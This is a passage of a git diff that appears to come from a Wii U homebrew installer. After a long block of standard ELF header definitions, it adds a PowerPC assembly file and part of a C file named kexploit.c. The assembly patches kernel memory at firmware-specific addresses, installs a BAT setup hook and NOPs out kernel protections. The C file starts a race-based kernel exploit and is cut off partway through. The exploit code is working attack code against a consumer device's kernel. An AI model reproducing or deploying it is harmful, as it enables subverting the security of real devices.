ET_NUM 5 /* number of types */ +#define ET_LOOS 0xfe00 /* reserved range for operating */ +#define ET_HIOS 0xfeff /* system specific e_type */ +#define ET_LOPROC 0xff00 /* reserved range for processor */ +#define ET_HIPROC 0xffff /* specific e_type */ + +/* e_machine */ +#define EM_NONE 0 /* No Machine */ +#define EM_M32 1 /* AT&T WE 32100 */ +#define EM_SPARC 2 /* SPARC */ +#define EM_386 3 /* Intel 80386 */ +#define EM_68K 4 /* Motorola 68000 */ +#define EM_88K 5 /* Motorola 88000 */ +#if 0 +#define EM_486 6 /* RESERVED - was Intel 80486 */ +#endif +#define EM_860 7 /* Intel 80860 */ +#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ +#define EM_S370 9 /* IBM System/370 Processor */ +#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ +#if 0 +#define EM_SPARC64 11 /* RESERVED - was SPARC v9 + 64-bit unoffical */ +#endif +/* RESERVED 11-14 for future use */ +#define EM_PARISC 15 /* HPPA */ +/* RESERVED 16 for future use */ +#define EM_VPP500 17 /* Fujitsu VPP500 */ +#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ +#define EM_960 19 /* Intel 80960 */ +#define EM_PPC 20 /* PowerPC */ +#define EM_PPC64 21 /* 64-bit PowerPC */ +#define EM_S390 22 /* IBM System/390 Processor */ +/* RESERVED 23-35 for future use */ +#define EM_V800 36 /* NEC V800 */ +#define EM_FR20 37 /* Fujitsu FR20 */ +#define EM_RH32 38 /* TRW RH-32 */ +#define EM_RCE 39 /* Motorola RCE */ +#define EM_ARM 40 /* Advanced Risc Machines ARM */ +#define EM_ALPHA 41 /* Digital Alpha */ +#define EM_SH 42 /* Hitachi SH */ +#define EM_SPARCV9 43 /* SPARC Version 9 */ +#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ +#define EM_ARC 45 /* Argonaut RISC Core */ +#define EM_H8_300 46 /* Hitachi H8/300 */ +#define EM_H8_300H 47 /* Hitachi H8/300H */ +#define EM_H8S 48 /* Hitachi H8S */ +#define EM_H8_500 49 /* Hitachi H8/500 */ +#define EM_IA_64 50 /* Intel Merced */ +#define EM_MIPS_X 51 /* Stanford MIPS-X */ +#define EM_COLDFIRE 52 /* Motorola Coldfire */ +#define EM_68HC12 53 /* Motorola M68HC12 */ +#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ +#define EM_PCP 55 /* Siemens PCP */ +#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ +#define EM_NDR1 57 /* Denso NDR1 microprocessor */ +#define EM_STARCORE 58 /* Motorola Start*Core processor */ +#define EM_ME16 59 /* Toyota ME16 processor */ +#define EM_ST100 60 /* STMicroelectronic ST100 processor */ +#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ +#define EM_X86_64 62 /* AMD x86-64 */ +#define EM_PDSP 63 /* Sony DSP Processor */ +/* RESERVED 64,65 for future use */ +#define EM_FX66 66 /* Siemens FX66 microcontroller */ +#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ +#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ +#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ +#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ +#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ +#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ +#define EM_SVX 73 /* Silicon Graphics SVx */ +#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ +#define EM_VAX 75 /* Digital VAX */ +#define EM_CHRIS 76 /* Axis Communications embedded proc. */ +#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ +#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ +#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ +#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ +#define EM_HUANY 81 /* Harvard University mach-indep objs */ +#define EM_PRISM 82 /* SiTera Prism */ +#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ +#define EM_FR30 84 /* Fujitsu FR30 */ +#define EM_D10V 85 /* Mitsubishi DV10V */ +#define EM_D30V 86 /* Mitsubishi DV30V */ +#define EM_V850 87 /* NEC v850 */ +#define EM_M32R 88 /* Mitsubishi M32R */ +#define EM_MN10300 89 /* Matsushita MN10200 */ +#define EM_MN10200 90 /* Matsushita MN10200 */ +#define EM_PJ 91 /* picoJava */ +#define EM_NUM 92 /* number of machine types */ + +/* Version */ +#define EV_NONE 0 /* Invalid */ +#define EV_CURRENT 1 /* Current */ +#define EV_NUM 2 /* number of versions */ + +/* Section Header */ +typedef struct { + Elf32_Word sh_name; /* name - index into section header + string table section */ + Elf32_Word sh_type; /* type */ + Elf32_Word sh_flags; /* flags */ + Elf32_Addr sh_addr; /* address */ + Elf32_Off sh_offset; /* file offset */ + Elf32_Word sh_size; /* section size */ + Elf32_Word sh_link; /* section header table index link */ + Elf32_Word sh_info; /* extra information */ + Elf32_Word sh_addralign; /* address alignment */ + Elf32_Word sh_entsize; /* section entry size */ +} Elf32_Shdr; + +/* Special Section Indexes */ +#define SHN_UNDEF 0 /* undefined */ +#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ +#define SHN_LOPROC 0xff00 /* reserved range for processor */ +#define SHN_HIPROC 0xff1f /* specific section indexes */ +#define SHN_LOOS 0xff20 /* reserved range for operating */ +#define SHN_HIOS 0xff3f /* specific semantics */ +#define SHN_ABS 0xfff1 /* absolute value */ +#define SHN_COMMON 0xfff2 /* common symbol */ +#define SHN_XINDEX 0xffff /* Index is an extra table */ +#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ + +/* sh_type */ +#define SHT_NULL 0 /* inactive */ +#define SHT_PROGBITS 1 /* program defined information */ +#define SHT_SYMTAB 2 /* symbol table section */ +#define SHT_STRTAB 3 /* string table section */ +#define SHT_RELA 4 /* relocation section with addends*/ +#define SHT_HASH 5 /* symbol hash table section */ +#define SHT_DYNAMIC 6 /* dynamic section */ +#define SHT_NOTE 7 /* note section */ +#define SHT_NOBITS 8 /* no space section */ +#define SHT_REL 9 /* relation section without addends */ +#define SHT_SHLIB 10 /* reserved - purpose unknown */ +#define SHT_DYNSYM 11 /* dynamic symbol table section */ +#define SHT_INIT_ARRAY 14 /* Array of constructors */ +#define SHT_FINI_ARRAY 15 /* Array of destructors */ +#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ +#define SHT_GROUP 17 /* Section group */ +#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ +#define SHT_NUM 19 /* number of section types */ +#define SHT_LOOS 0x60000000 /* Start OS-specific */ +#define SHT_HIOS 0x6fffffff /* End OS-specific */ +#define SHT_LOPROC 0x70000000 /* reserved range for processor */ +#define SHT_HIPROC 0x7fffffff /* specific section header types */ +#define SHT_LOUSER 0x80000000 /* reserved range for application */ +#define SHT_HIUSER 0xffffffff /* specific indexes */ + +/* Section names */ +#define ELF_BSS ".bss" /* uninitialized data */ +#define ELF_COMMENT ".comment" /* version control information */ +#define ELF_DATA ".data" /* initialized data */ +#define ELF_DATA1 ".data1" /* initialized data */ +#define ELF_DEBUG ".debug" /* debug */ +#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ +#define ELF_DYNSTR ".dynstr" /* dynamic string table */ +#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ +#define ELF_FINI ".fini" /* termination code */ +#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ +#define ELF_GOT ".got" /* global offset table */ +#define ELF_HASH ".hash" /* symbol hash table */ +#define ELF_INIT ".init" /* initialization code */ +#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ +#define ELF_INTERP ".interp" /* Pathname of program interpreter */ +#define ELF_LINE ".line" /* Symbolic line numnber information */ +#define ELF_NOTE ".note" /* Contains note section */ +#define ELF_PLT ".plt" /* Procedure linkage table */ +#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ +#define ELF_REL_DATA ".rel.data" /* relocation data */ +#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ +#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ +#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ +#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ +#define ELF_REL_TEXT ".rel.text" /* relocation code */ +#define ELF_RODATA ".rodata" /* read-only data */ +#define ELF_RODATA1 ".rodata1" /* read-only data */ +#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ +#define ELF_STRTAB ".strtab" /* string table */ +#define ELF_SYMTAB ".symtab" /* symbol table */ +#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ +#define ELF_TBSS ".tbss" /* thread local uninit data */ +#define ELF_TDATA ".tdata" /* thread local init data */ +#define ELF_TDATA1 ".tdata1" /* thread local init data */ +#define ELF_TEXT ".text" /* code */ + +/* Section Attribute Flags - sh_flags */ +#define SHF_WRITE 0x1 /* Writable */ +#define SHF_ALLOC 0x2 /* occupies memory */ +#define SHF_EXECINSTR 0x4 /* executable */ +#define SHF_MERGE 0x10 /* Might be merged */ +#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ +#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ +#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ +#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ +#define SHF_GROUP 0x200 /* Member of section group */ +#define SHF_TLS 0x400 /* Thread local storage */ +#define SHF_MASKOS 0x0ff00000 /* OS specific */ +#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ + /* specific section attributes */ + +/* Section Group Flags */ +#define GRP_COMDAT 0x1 /* COMDAT group */ +#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ +#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ + +/* Symbol Table Entry */ +typedef struct elf32_sym { + Elf32_Word st_name; /* name - index into string table */ + Elf32_Addr st_value; /* symbol value */ + Elf32_Word st_size; /* symbol size */ + unsigned char st_info; /* type and binding */ + unsigned char st_other; /* 0 - no defined meaning */ + Elf32_Half st_shndx; /* section header index */ +} Elf32_Sym; + +/* Symbol table index */ +#define STN_UNDEF 0 /* undefined */ + +/* Extract symbol info - st_info */ +#define ELF32_ST_BIND(x) ((x) >> 4) +#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) +#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) +#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) + +/* Symbol Binding - ELF32_ST_BIND - st_info */ +#define STB_LOCAL 0 /* Local symbol */ +#define STB_GLOBAL 1 /* Global symbol */ +#define STB_WEAK 2 /* like global - lower precedence */ +#define STB_NUM 3 /* number of symbol bindings */ +#define STB_LOOS 10 /* reserved range for operating */ +#define STB_HIOS 12 /* system specific symbol bindings */ +#define STB_LOPROC 13 /* reserved range for processor */ +#define STB_HIPROC 15 /* specific symbol bindings */ + +/* Symbol type - ELF32_ST_TYPE - st_info */ +#define STT_NOTYPE 0 /* not specified */ +#define STT_OBJECT 1 /* data object */ +#define STT_FUNC 2 /* function */ +#define STT_SECTION 3 /* section */ +#define STT_FILE 4 /* file */ +#define STT_NUM 5 /* number of symbol types */ +#define STT_TLS 6 /* Thread local storage symbol */ +#define STT_LOOS 10 /* reserved range for operating */ +#define STT_HIOS 12 /* system specific symbol types */ +#define STT_LOPROC 13 /* reserved range for processor */ +#define STT_HIPROC 15 /* specific symbol types */ + +/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ +#define STV_DEFAULT 0 /* Normal visibility rules */ +#define STV_INTERNAL 1 /* Processor specific hidden class */ +#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ +#define STV_PROTECTED 3 /* Not preemptible, not exported */ + + +/* Relocation entry with implicit addend */ +typedef struct +{ + Elf32_Addr r_offset; /* offset of relocation */ + Elf32_Word r_info; /* symbol table index and type */ +} Elf32_Rel; + +/* Relocation entry with explicit addend */ +typedef struct +{ + Elf32_Addr r_offset; /* offset of relocation */ + Elf32_Word r_info; /* symbol table index and type */ + Elf32_Sword r_addend; +} Elf32_Rela; + +/* Extract relocation info - r_info */ +#define ELF32_R_SYM(i) ((i) >> 8) +#define ELF32_R_TYPE(i) ((unsigned char) (i)) +#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) + +/* Program Header */ +typedef struct { + Elf32_Word p_type; /* segment type */ + Elf32_Off p_offset; /* segment offset */ + Elf32_Addr p_vaddr; /* virtual address of segment */ + Elf32_Addr p_paddr; /* physical address - ignored? */ + Elf32_Word p_filesz; /* number of bytes in file for seg. */ + Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ + Elf32_Word p_flags; /* flags */ + Elf32_Word p_align; /* memory alignment */ +} Elf32_Phdr; + +/* Segment types - p_type */ +#define PT_NULL 0 /* unused */ +#define PT_LOAD 1 /* loadable segment */ +#define PT_DYNAMIC 2 /* dynamic linking section */ +#define PT_INTERP 3 /* the RTLD */ +#define PT_NOTE 4 /* auxiliary information */ +#define PT_SHLIB 5 /* reserved - purpose undefined */ +#define PT_PHDR 6 /* program header */ +#define PT_TLS 7 /* Thread local storage template */ +#define PT_NUM 8 /* Number of segment types */ +#define PT_LOOS 0x60000000 /* reserved range for operating */ +#define PT_HIOS 0x6fffffff /* system specific segment types */ +#define PT_LOPROC 0x70000000 /* reserved range for processor */ +#define PT_HIPROC 0x7fffffff /* specific segment types */ + +/* Segment flags - p_flags */ +#define PF_X 0x1 /* Executable */ +#define PF_W 0x2 /* Writable */ +#define PF_R 0x4 /* Readable */ +#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ +#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ + /* specific segment flags */ +/* Dynamic structure */ +typedef struct +{ + Elf32_Sword d_tag; /* controls meaning of d_val */ + union + { + Elf32_Word d_val; /* Multiple meanings - see d_tag */ + Elf32_Addr d_ptr; /* program virtual address */ + } d_un; +} Elf32_Dyn; + +extern Elf32_Dyn _DYNAMIC[]; + +/* Dynamic Array Tags - d_tag */ +#define DT_NULL 0 /* marks end of _DYNAMIC array */ +#define DT_NEEDED 1 /* string table offset of needed lib */ +#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ +#define DT_PLTGOT 3 /* address PLT/GOT */ +#define DT_HASH 4 /* address of symbol hash table */ +#define DT_STRTAB 5 /* address of string table */ +#define DT_SYMTAB 6 /* address of symbol table */ +#define DT_RELA 7 /* address of relocation table */ +#define DT_RELASZ 8 /* size of relocation table */ +#define DT_RELAENT 9 /* size of relocation entry */ +#define DT_STRSZ 10 /* size of string table */ +#define DT_SYMENT 11 /* size of symbol table entry */ +#define DT_INIT 12 /* address of initialization func. */ +#define DT_FINI 13 /* address of termination function */ +#define DT_SONAME 14 /* string table offset of shared obj */ +#define DT_RPATH 15 /* string table offset of library + search path */ +#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ +#define DT_REL 17 /* address of rel. tbl. w addends */ +#define DT_RELSZ 18 /* size of DT_REL relocation table */ +#define DT_RELENT 19 /* size of DT_REL relocation entry */ +#define DT_PLTREL 20 /* PLT referenced relocation entry */ +#define DT_DEBUG 21 /* bugger */ +#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ +#define DT_JMPREL 23 /* add. of PLT's relocation entries */ +#define DT_BIND_NOW 24 /* Process relocations of object */ +#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ +#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ +#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ +#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ +#define DT_RUNPATH 29 /* Library search path */ +#define DT_FLAGS 30 /* Flags for the object being loaded */ +#define DT_ENCODING 32 /* Start of encoded range */ +#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ +#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ +#define DT_NUM 34 /* Number used. */ +#define DT_LOOS 0x60000000 /* reserved range for OS */ +#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ +#define DT_LOPROC 0x70000000 /* reserved range for processor */ +#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ + +/* Dynamic Tag Flags - d_un.d_val */ +#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ +#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ +#define DF_TEXTREL 0x04 /* Object contains text relocations */ +#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ +#define DF_STATIC_TLS 0x10 /* Static thread local storage */ + +/* Standard ELF hashing function */ +unsigned long elf_hash(const unsigned char *name); + +#define ELF_TARG_VER 1 /* The ver for which this code is intended */ + +/* + * XXX - PowerPC defines really don't belong in here, + * but we'll put them in for simplicity. + */ + +/* Values for Elf32/64_Ehdr.e_flags. */ +#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ + +/* Cygnus local bits below */ +#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ +#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib + flag */ + +/* PowerPC relocations defined by the ABIs */ +#define R_PPC_NONE 0 +#define R_PPC_ADDR32 1 /* 32bit absolute address */ +#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ +#define R_PPC_ADDR16 3 /* 16bit absolute address */ +#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ +#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ +#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ +#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ +#define R_PPC_ADDR14_BRTAKEN 8 +#define R_PPC_ADDR14_BRNTAKEN 9 +#define R_PPC_REL24 10 /* PC relative 26 bit */ +#define R_PPC_REL14 11 /* PC relative 16 bit */ +#define R_PPC_REL14_BRTAKEN 12 +#define R_PPC_REL14_BRNTAKEN 13 +#define R_PPC_GOT16 14 +#define R_PPC_GOT16_LO 15 +#define R_PPC_GOT16_HI 16 +#define R_PPC_GOT16_HA 17 +#define R_PPC_PLTREL24 18 +#define R_PPC_COPY 19 +#define R_PPC_GLOB_DAT 20 +#define R_PPC_JMP_SLOT 21 +#define R_PPC_RELATIVE 22 +#define R_PPC_LOCAL24PC 23 +#define R_PPC_UADDR32 24 +#define R_PPC_UADDR16 25 +#define R_PPC_REL32 26 +#define R_PPC_PLT32 27 +#define R_PPC_PLTREL32 28 +#define R_PPC_PLT16_LO 29 +#define R_PPC_PLT16_HI 30 +#define R_PPC_PLT16_HA 31 +#define R_PPC_SDAREL16 32 +#define R_PPC_SECTOFF 33 +#define R_PPC_SECTOFF_LO 34 +#define R_PPC_SECTOFF_HI 35 +#define R_PPC_SECTOFF_HA 36 +/* Keep this the last entry. */ +#define R_PPC_NUM 37 + +/* The remaining relocs are from the Embedded ELF ABI, and are not + in the SVR4 ELF ABI. */ +#define R_PPC_EMB_NADDR32 101 +#define R_PPC_EMB_NADDR16 102 +#define R_PPC_EMB_NADDR16_LO 103 +#define R_PPC_EMB_NADDR16_HI 104 +#define R_PPC_EMB_NADDR16_HA 105 +#define R_PPC_EMB_SDAI16 106 +#define R_PPC_EMB_SDA2I16 107 +#define R_PPC_EMB_SDA2REL 108 +#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ +#define R_PPC_EMB_MRKREF 110 +#define R_PPC_EMB_RELSEC16 111 +#define R_PPC_EMB_RELST_LO 112 +#define R_PPC_EMB_RELST_HI 113 +#define R_PPC_EMB_RELST_HA 114 +#define R_PPC_EMB_BIT_FLD 115 +#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ + +/* Diab tool relocations. */ +#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ +#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ +#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ +#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ +#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ +#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ + +/* This is a phony reloc to handle any old fashioned TOC16 references + that may still be in object files. */ +#define R_PPC_TOC16 255 + +#endif /* _ELF_H */ diff --git a/installer/kernel_patches.S b/installer/kernel_patches.S new file mode 100644 index 0000000..e467c03 --- /dev/null +++ b/installer/kernel_patches.S @@ -0,0 +1,207 @@ +#if ((VER == 532) || (VER == 540)) + #define BAT_SETUP_HOOK_ADDR 0xFFF1D638 + + # not all of those NOP address are required for every firmware + # mainly these should stop the kernel from removing our IBAT4 and DBAT5 + #define BAT_SET_NOP_ADDR_1 0xFFF06A14 + #define BAT_SET_NOP_ADDR_2 0xFFF06AA0 + #define BAT_SET_NOP_ADDR_3 0xFFF003C8 + #define BAT_SET_NOP_ADDR_4 0xFFF003CC + #define BAT_SET_NOP_ADDR_5 0xFFF1D720 + #define BAT_SET_NOP_ADDR_6 0xFFF1D73C + #define BAT_SET_NOP_ADDR_7 0xFFF1D840 + + #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 + #define BAT_SET_NOP_ADDR_9 0xFFEE10BC + +#elif ((VER == 500) || (VER == 510)) + #define BAT_SETUP_HOOK_ADDR 0xFFF1D518 +#elif ( (VER == 400) || (VER == 410) ) + #define BAT_SETUP_HOOK_ADDR 0xFFF1AD00 +#else + #error Please define valid values for kernel setup. +#endif + +#ifdef USE_SD_LOADER + #define BAT_SETUP_HOOK_ENTRY 0x00800000 +#else + #define BAT_SETUP_HOOK_ENTRY (0x00800000 + 0x2000) +#endif + +#define BAT4U_VAL 0x008000FF +#define BAT4L_VAL 0x30800012 + +#define SET_R4_TO_ADDR(addr) \ + lis r3, addr@h ; \ + ori r3, r3, addr@l ; \ + stw r4, 0(r3) ; \ + dcbf 0, r3 ; \ + icbi 0, r3 ; + + .globl Syscall_0x36 +Syscall_0x36: + mflr r0 + stwu r1, -0x10(r1) + stw r30, 0x4(r1) + stw r31, 0x8(r1) + mr r5, r0 + mr r6, r1 + li r0, 0x3600 + sc + nop + mr r0, r5 + mr r1, r6 + lwz r30, 0x04(r1) + lwz r31, 0x08(r1) + addi r1, r1, 0x10 + mtlr r0 + blr + + .globl KernelPatches +KernelPatches: + # store the old DBAT0 + mfdbatu r30, 0 + mfdbatl r31, 0 + + # memory barrier + eieio + isync + + # setup DBAT0 for access to kernel code memory + lis r3, 0xFFF0 + ori r3, r3, 0x0002 + mtdbatu 0, r3 + lis r3, 0xFFF0 + ori r3, r3, 0x0032 + mtdbatl 0, r3 + + # memory barrier + eieio + isync + + # SaveAndResetDataBATs_And_SRs hook setup, but could be any BAT function though + # just chosen because its simple + lis r3, BAT_SETUP_HOOK_ADDR@h + ori r3, r3, BAT_SETUP_HOOK_ADDR@l + + # make the kernel setup our section in IBAT4 and + # jump to our function to restore the replaced instructions + lis r4, 0x3ce0 # lis r7, BAT4L_VAL@h + ori r4, r4, BAT4L_VAL@h + stw r4, 0x00(r3) + lis r4, 0x60e7 # ori r7, r7, BAT4L_VAL@l + ori r4, r4, BAT4L_VAL@l + stw r4, 0x04(r3) + lis r4, 0x7cf1 # mtspr 561, r7 + ori r4, r4, 0x8ba6 + stw r4, 0x08(r3) + lis r4, 0x3ce0 # lis r7, BAT4U_VAL@h + ori r4, r4, BAT4U_VAL@h + stw r4, 0x0C(r3) + lis r4, 0x60e7 # ori r7, r7, BAT4U_VAL@l + ori r4, r4, BAT4U_VAL@l + stw r4, 0x10(r3) + lis r4, 0x7cf0 # mtspr 560, r7 + ori r4, r4, 0x8ba6 + stw r4, 0x14(r3) + lis r4, 0x7c00 # eieio + ori r4, r4, 0x06ac + stw r4, 0x18(r3) + lis r4, 0x4c00 # isync + ori r4, r4, 0x012c + stw r4, 0x1C(r3) + lis r4, 0x7ce8 # mflr r7 + ori r4, r4, 0x02a6 + stw r4, 0x20(r3) + lis r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@h # bla BAT_SETUP_HOOK_ENTRY + ori r4, r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@l + stw r4, 0x24(r3) + + # flush and invalidate the replaced instructions + lis r3, (BAT_SETUP_HOOK_ADDR & ~31)@h + ori r3, r3, (BAT_SETUP_HOOK_ADDR & ~31)@l + dcbf 0, r3 + icbi 0, r3 + lis r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@h + ori r3, r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@l + dcbf 0, r3 + icbi 0, r3 + sync + + # setup IBAT4 for core 1 at this position (not really required but wont hurt) + # IBATL 4 + lis r3, BAT4L_VAL@h + ori r3, r3, BAT4L_VAL@l + mtspr 561, r3 + + # IBATU 4 + lis r3, BAT4U_VAL@h + ori r3, r3, BAT4U_VAL@l + mtspr 560, r3 + + # memory barrier + eieio + isync + + # write "nop" to some positions + lis r4, 0x6000 + # nop on IBATU 4 and DBAT 5 set/reset +#ifdef BAT_SET_NOP_ADDR_1 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_1) +#endif +#ifdef BAT_SET_NOP_ADDR_2 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_2) +#endif +#ifdef BAT_SET_NOP_ADDR_3 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_3) +#endif +#ifdef BAT_SET_NOP_ADDR_4 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_4) +#endif +#ifdef BAT_SET_NOP_ADDR_5 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_5) +#endif +#ifdef BAT_SET_NOP_ADDR_6 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_6) +#endif +#ifdef BAT_SET_NOP_ADDR_7 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_7) +#endif + +#if (defined(BAT_SET_NOP_ADDR_8) && defined(BAT_SET_NOP_ADDR_9)) + # memory barrier + eieio + isync + + # setup DBAT0 for access to kernel code memory + lis r3, 0xFFEE + ori r3, r3, 0x0002 + mtdbatu 0, r3 + lis r3, 0xFFEE + ori r3, r3, 0x0032 + mtdbatl 0, r3 + + # memory barrier + eieio + isync + + # write "nop" to some positions + lis r4, 0x6000 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_8) + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_9) +#endif + + # memory barrier + eieio + isync + + # restore DBAT 0 and return from interrupt + mtdbatu 0, r30 + mtdbatl 0, r31 + + # memory barrier + eieio + isync + + rfi + diff --git a/installer/kexploit.c b/installer/kexploit.c new file mode 100644 index 0000000..992f583 --- /dev/null +++ b/installer/kexploit.c @@ -0,0 +1,546 @@ +#include "kexploit.h" + +void wait(unsigned int t); +void doBrowserShutdown(unsigned int coreinit_handle); +void setupOSScreen(unsigned int coreinit_handle); +void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos); +void exitOSScreen(unsigned int coreinit_handle); +void callSysExit(unsigned int coreinit_handle, void *sysFunc); + +/* Initial setup code stolen from Pong, makes race much more reliable */ +void run_kexploit(private_data_t *private_data) +{ + unsigned int coreinit_handle, sysapp_handle; + OSDynLoad_Acquire("coreinit", &coreinit_handle); + OSDynLoad_Acquire("sysapp", &sysapp_handle); + //needed to not destroy screen + doBrowserShutdown(coreinit_handle); + //prints out first message as well + setupOSScreen(coreinit_handle); + + if(KERN_SYSCALL_TBL == 0) + { + printOSScreenMsg(coreinit_handle, "Your kernel version has not been implemented yet.",1); + wait(0x3FFFFFFF); + exitOSScreen(coreinit_handle); + } + + //OS Memory functions + void*(*memset)(void *dest, uint32_t value, uint32_t bytes); + void*(*memcpy)(void *dest, void *src, uint32_t length); + void*(*OSAllocFromSystem)(uint32_t size, int align); + void (*OSFreeToSystem)(void *ptr); + void (*DCFlushRange)(void *buffer, uint32_t length); + void (*DCInvalidateRange)(void *buffer, uint32_t length); + void (*ICInvalidateRange)(void *buffer, uint32_t length); + + /* OS thread functions */ + bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr); + int32_t (*OSResumeThread)(void *thread); + + /* Exit functions */ + void (*__PPCExit)(); + void (*_Exit)(); + + int(*SYSSwitchToBrowser)(void *args); + int(*SYSLaunchSettings)(void *args); + + /* Read the addresses of the functions */ + OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); + OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &memcpy); + OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); + OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); + OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); + OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); + OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &ICInvalidateRange); + + OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); + + OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); + OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); + + OSDynLoad_FindExport(sysapp_handle, 0, "SYSSwitchToBrowser", &SYSSwitchToBrowser); + 